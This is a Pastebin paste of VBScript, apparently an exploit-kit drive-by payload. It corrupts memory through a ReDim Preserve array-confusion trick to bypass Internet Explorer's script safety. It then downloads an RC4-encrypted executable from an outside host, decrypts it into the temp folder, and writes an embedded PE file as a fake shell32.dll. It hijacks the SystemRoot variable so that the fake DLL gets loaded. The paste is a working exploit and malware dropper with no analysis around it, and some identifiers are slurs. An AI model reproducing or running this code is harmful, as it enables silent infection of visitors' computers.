SHARE
TWEET

Untitled

a guest Mar 9th, 2017 150 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2.       Dim aw
  3.     Dim lunnga(32)
  4.     Dim y(32)
  5.     k1 = 1
  6.     k2 = 1999 + k1
  7.     fix1 = "%u4141"
  8.         fastfix = fix1 & fix1
  9.     k3 = 32
  10.     fix3 = fastfix & fix1
  11.         zerofix = "%u0000"
  12.         trifix = zerofix & zerofix & zerofix
  13.         d = fastfix & "%u0016" & fix3 & "%u4242%u4242"
  14.         b = String(k2*k3, "D")
  15.         c = d & b
  16.         x = UnEscape(c)
  17.  
  18.         Class MiddleD
  19.         End Class
  20.        
  21.         Class Wararape
  22.             Dim Cod()
  23.             Private Sub Class_Initialize
  24.                 ReDim Preserve Cod(k1, k2)
  25.             End Sub
  26.  
  27.             Public Sub ZeroineL()
  28.                 ReDim Preserve Cod(k1, k1)
  29.             End Sub
  30.         End Class
  31.  
  32.         Function GogoGoA (arg1, s)
  33.             aw = Null
  34.             Set aw = New Wararape
  35.  
  36.             For i = 0 To k3
  37.                 Set lunnga(i) = s
  38.             Next
  39.  
  40.             Set aw.Cod(arg1, 2) = s
  41.  
  42.             Dim addr
  43.             Dim i
  44.             For i = 0 To k3-1
  45.                 If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
  46.                     addr = strToInt(Mid(y(i), 3 + 4, 2))
  47.                 End If
  48.                 y(i) = Null
  49.             Next
  50.  
  51.             If addr = Null Then
  52.                 document.location.href = document.location.href
  53.                 Return
  54.             End If
  55.  
  56.             GogoGoA = addr
  57.         End Function
  58.  
  59.         Function LikeMeLike (arg1, addr)
  60.             d = fastfix & "%u0008" & fix3
  61.             c = d & intToStr(addr) & b
  62.             x = UnEscape(c)
  63.             aw = Null
  64.             Set aw = New Wararape
  65.             Dim o
  66.             o = aw.Cod(arg1, 2)
  67.             LikeMeLike = o
  68.         End Function
  69.  
  70.         Sub Rewwati (arg1, addr)
  71.             d = fastfix & "%u400C" & trifix
  72.             c = d & intToStr(addr) & b
  73.             x = UnEscape(c)
  74.             aw = Null
  75.             Set aw = New Wararape
  76.             aw.Cod(arg1, 2) = CSng(0)
  77.         End Sub
  78.  
  79.         Sub Rewwati2 (arg1, addr)
  80.             Dim emptyval
  81.             d = fastfix & "%u400C" & trifix
  82.             c = d & intToStr(addr) & b
  83.             x = UnEscape(c)
  84.             aw = Null
  85.             Set aw = New Wararape
  86.             aw.Cod(arg1, 2) = emptyval
  87.         End Sub
  88.  
  89.         Function ProtectMe (arg1)
  90.             Dim addr
  91.             Dim sexy
  92.             Dim koles
  93.             Dim mem
  94.             Set dm = New MiddleD
  95.             addr = GogoGoA(arg1, dm)
  96.             mem = LikeMeLike(arg1, addr + 8)
  97.             sexy = strToInt(Mid(mem, 3, 2))
  98.             mem = LikeMeLike(arg1, sexy + 4)
  99.             koles = strToInt(Mid(mem, 1, 2))
  100.             Rewwati arg1, koles + &H174
  101.             fire()
  102.             Rewwati2 arg1, koles + &H174
  103.         End Function
  104.  
  105.     Function rnds(strLen)
  106.         Dim str
  107.         Const LETTERS = "abcdehiklmnoprstuw02346"
  108.         Randomize
  109.         For i = 1 to strLen
  110.             str = str & Mid(LETTERS, Int(23*Rnd+1), 1)
  111.         Next
  112.         rnds = str
  113.     End Function
  114.    
  115.     Sub fire()
  116.           On Error Resume Next
  117.           key="gexywoaxor"
  118.           url="http://far.nycfatfreeze.com/?q=w3bQMvXcJxfQFYbGMvPDSKNbNkjWHViPxo2G9MildZaqZGX_k7HDfF-qoVrcCgWRxfMuf&oq=ONWPwHij0OCfgAzydteVlkU9q-ohkiAnx-b1pKDrBSIYAwRq6KcHbAy0VT8xrIdQJZnxA"
  119.           uas=Navigator.userAgent
  120.      
  121.           Set oss=GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")
  122.           Dim osloc
  123.           for each os in oss
  124.             osloc=os.OSLanguage
  125.           next
  126.           SetLocale(osloc)
  127.  
  128.           Set req=CreateObject("WinHTTP.WinHTTPRequest.5.1")
  129.           req.SetProxy 0
  130.           req.Open "GET",url,0
  131.           req.Option(0)=uas
  132.           req.Send
  133.           If 200=req.status Then
  134.             z=req.responseBody
  135.             Set c=CreateObject("Scripting.FileSystemObject")
  136.             tmp=c.GetSpecialFolder(2)
  137.             fake32=tmp&"\System32"
  138.             If Not c.FolderExists(fake32) Then
  139.               c.CreateFolder(fake32)
  140.             End If
  141.             Dim dllcode,dlltxt,fakedll
  142.             dllcode= Array(&h4d,&h5a,&h80,0,1,0,0,0,4,0,&h10,0,&hff,&hff,0,0,&h40,1,0,0,0,0,0,0,&h40,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h80,0,0,0,&he,&h1f,&hba,&he,0,&hb4,9,&hcd,&h21,&hb8,1,&h4c,&hcd,&h21,&h54,&h68,&h69,&h73,&h20,&h70,&h72,&h6f,&h67,&h72,&h61,&h6d,&h20,&h63,&h61,&h6e,&h6e,&h6f,&h74,&h20,&h62,&h65,&h20,&h72,&h75,&h6e,&h20,&h69,&h6e,&h20,&h44,&h4f,&h53,&h20,&h6d,&h6f,&h64,&h65,&h2e,&hd,&ha,&h24,0,0,0,0,0,0,0,0,&h50,&h45,0,0,&h4c,1,4,0,&h21,&h3c,&h6e,&h58,0,0,0,0,0,0,0,0,&he0,0,&he,&h21,&hb,1,1,&h47,0,2,0,0,0,6,0,0,0,0,0,0,0,&h10,0,0,0,&h10,0,0,0,&h20,0,0,0,0,&h40,0,0,&h10,0,0,0,2,0,0,1,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0,0,&h50,0,0,0,4,0,0,&h15,&h5b,0,0,2,0,&h40,0,0,&h10,0,0,0,&h10,0,0,0,0,1,0,0,0,0,0,0,0,0,0,&h10,0,0,0,0,0,0,0,0,0,0,0,0,&h30,0,0,&hfc,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h40,0,0,&h28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h2e,&h74,&h65,&h78,&h74,0,0,0,&ha1,0,0,0,0,&h10,0,0,0,2,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h20,0,0,&h60,&h2e,&h64,&h61,&h74,&h61,0,0,0,&hee,1,0,0,0,&h20,0,0,0,2,0,0,0,6,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h40,0,0,&hc0,&h2e,&h69,&h64,&h61,&h74,&h61,0,0,&hfc,0,0,0,0,&h30,0,0,0,2,0,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h40,0,0,&hc0,&h2e,&h72,&h65,&h6c,&h6f,&h63,0,0,&h28,0,0,0,0,&h40,0,0,0,2,0,0,0,&ha,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h40,0,0,&h42,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h55,&h89,&he5,&h83,&h7d,&hc,1,&hf,&h85,&h8b,0,0,0,&hb9,&h96,0,0,0,&h49,&hf6,&h91,&h58,&h21,&h40,0,&h80,&hb1,&h58,&h21,&h40,0,&ha3,&h85,&hc9,&h75,&hee,&h68,&h58,&h21,&h40,0,&h6a,1,&h6a,1,&h6a,0,&hff,&h15,&h6c,&h30,&h40,0,&hff,&h15,&h74,&h30,&h40,0,&h85,&hc0,&h75,&h59,&hc7,5,4,&h21,&h40,0,&h44,0,0,0,&hc7,5,&h30,&h21,&h40,0,1,1,0,0,&h68,4,1,0,0,&h68,0,&h20,&h40,0,&hff,&h15,&h70,&h30,&h40,0,&h68,0,&h20,&h40,0,&h68,&he3,&h21,&h40,0,&hff,&h15,&h78,&h30,&h40,0,&h68,&h48,&h21,&h40,0,&h68,4,&h21,&h40,0,&h6a,0,&h6a,0,&h6a,0,&h6a,0,&h6a,0,&h6a,0,&h68,&h7d,&h21,&h40,0,&h6a,0,&h6a,0,&hff,&h15,&hdc,&h30,&h40,0,&hb8,1,0,0,0,&hc9,&hc2,&hc,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h3f,&h6c,&h6b,&h6b,&h38,&h38,&h39,&h6a,&h71,&h6a,&h6f,&h6a,&h68,&h71,&h68,&h68,&h6d,&h65,&h71,&h3d,&h3f,&h38,&h6e,&h71,&h3e,&h64,&h69,&h6c,&h69,&h64,&h6d,&h3e,&h64,&h3a,&h6a,&h68,&h5c,&h3f,&h5c,&h31,&h5c,&h38,&h5c,&h72,&h5c,&h39,&h5c,&h24,&h5c,&h39,&h5c,&h7c,&h5c,&h73,&h5c,&h3f,&h5c,&h7c,&h5c,&h2f,&h5c,&h28,&h5c,&h3d,&h5c,&h2e,&h5c,&h28,&h5c,&h7c,&h5c,&h79,&h5c,&hf,&h5c,&h25,&h5c,&h2f,&h5c,&h1a,&h5c,&h35,&h5c,&h30,&h5c,&h39,&h5c,&h32,&h5c,&h3d,&h5c,&h31,&h5c,&h39,&h5c,&h79,&h5c,&h7c,&h5c,&h7a,&h5c,&h7c,&h5c,&h2e,&h5c,&h38,&h5c,&h7c,&h5c,&h73,&h5c,&h2f,&h5c,&h7c,&h5c,&h73,&h5c,&h2d,&h5c,&h7c,&h5c,&hf,&h5c,&h25,&h5c,&h2f,&h5c,&h28,&h5c,&h39,&h5c,&h31,&h5c,&h6f,&h5c,&h6e,&h5c,&h5c,&h5c,&hf,&h25,&h2f,&h28,&h39,&h31,&he,&h33,&h33,&h28,&h5c,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h58,&h30,0,0,0,0,0,0,0,0,0,0,&h3c,&h30,0,0,&h6c,&h30,0,0,&hd4,&h30,0,0,0,0,0,0,0,0,0,0,&h4a,&h30,0,0,&hdc,&h30,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h4b,&h45,&h52,&h4e,&h45,&h4c,&h33,&h32,&h2e,&h44,&h4c,&h4c,0,0,&h41,&h44,&h56,&h41,&h50,&h49,&h33,&h32,&h2e,&h44,&h4c,&h4c,0,0,&h80,&h30,0,0,&h90,&h30,0,0,&ha8,&h30,0,0,&hb8,&h30,0,0,0,0,0,0,&h80,&h30,0,0,&h90,&h30,0,0,&ha8,&h30,0,0,&hb8,&h30,0,0,0,0,0,0,0,0,&h43,&h72,&h65,&h61,&h74,&h65,&h45,&h76,&h65,&h6e,&h74,&h41,0,0,0,0,&h47,&h65,&h74,&h57,&h69,&h6e,&h64,&h6f,&h77,&h73,&h44,&h69,&h72,&h65,&h63,&h74,&h6f,&h72,&h79,&h41,0,0,0,0,&h47,&h65,&h74,&h4c,&h61,&h73,&h74,&h45,&h72,&h72,&h6f,&h72,0,0,0,0,&h53,&h65,&h74,&h45,&h6e,&h76,&h69,&h72,&h6f,&h6e,&h6d,&h65,&h6e,&h74,&h56,&h61,&h72,&h69,&h61,&h62,&h6c,&h65,&h41,0,0,0,&he4,&h30,0,0,0,0,0,0,&he4,&h30,0,0,0,0,0,0,0,0,&h43,&h72,&h65,&h61,&h74,&h65,&h50,&h72,&h6f,&h63,&h65,&h73,&h73,&h41,&h73,&h55,&h73,&h65,&h72,&h57,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h10,0,0,&h28,0,0,0,&h15,&h30,&h1b,&h30,&h25,&h30,&h31,&h30,&h37,&h30,&h41,&h30,&h4b,&h30,&h59,&h30,&h5f,&h30,&h64,&h30,&h69,&h30,&h6f,&h30,&h74,&h30,&h79,&h30,&h8a,&h30,&h94,&h30,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)
  143.             For i=0 to Ubound(dllCode)
  144.                 dllCode(i) = Chr(dllCode(i))
  145.             Next
  146.             dlltxt = Join(dllcode,"")
  147.             fakedll = c.BuildPath(fake32,"shell32.dll")
  148.             Set b=c.CreateTextFile(fakedll)
  149.             b.Write dlltxt
  150.             b.Close
  151.             f=c.BuildPath(tmp,rnds(8)&".exe")
  152.             Set stream=CreateObject("ADODB.Stream")
  153.             stream.Open
  154.             stream.Type=1
  155.             stream.Write z
  156.             arcnsave stream,key,f
  157.             stream.Close
  158.  
  159.             Set w=CreateObject("WScript.Shell")
  160.             w.CurrentDirectory=tmp
  161.             oldroot=w.Environment("Process").Item("SystemRoot")
  162.             w.Environment("Process").Item("SystemRoot")=tmp
  163.             w.Environment("Process").Item("SysFilename")=f
  164.             Set sh = CreateObject("Shell.Application")
  165.             Environment("Process").Item("SystemRoot")=oldroot
  166.           End If
  167.         End Sub
  168.  
  169.         Sub arcnsave(stream,strKey,fname)
  170.           Dim kLen,x,y,i,j,t,slen,aBuf,bStream
  171.           Dim s(256),k(256)
  172.           klen=Len(strKey)
  173.           For i=0 To 255
  174.             s(i)=i
  175.             k(i)=AscB(Mid(strKey, (i Mod klen)+1,1))
  176.           Next
  177.           j=0
  178.           For i=0 To 255
  179.             j=(j+k(i)+s(i)) And 255
  180.             t=s(i):s(i)=s(j):s(j)=t
  181.           Next
  182.           slen=stream.position
  183.           redim rc(slen)
  184.           stream.position=0
  185.           x=0:y=0
  186.           For i=0 To slen-1
  187.             x=(x+1) And 255
  188.             y=(y+s(x)) And 255
  189.             t=s(x):s(x)=s(y):s(y)=t
  190.             rc(i)=Chr(CByte(s((s(x)+s(y)) And 255) Xor AscB(stream.Read(1))))
  191.           Next
  192.           Dim rctxt: rctxt = join(rc,"")
  193.           Set c=CreateObject("Scripting.FileSystemObject")
  194.           Set b=c.CreateTextFile(fname)
  195.           b.Write rctxt
  196.           b.Close
  197.         End Sub
  198.  
  199.         Function SmuggleFag
  200.             aw.ZeroineL()
  201.             Dim i
  202.             For i = 0 To k3
  203.                 y(i) = Mid(x, 1, k2*12)
  204.             Next
  205.         End Function
RAW Paste Data
Pastebin PRO Summer Special!
Get 60% OFF on Pastebin PRO accounts!
Top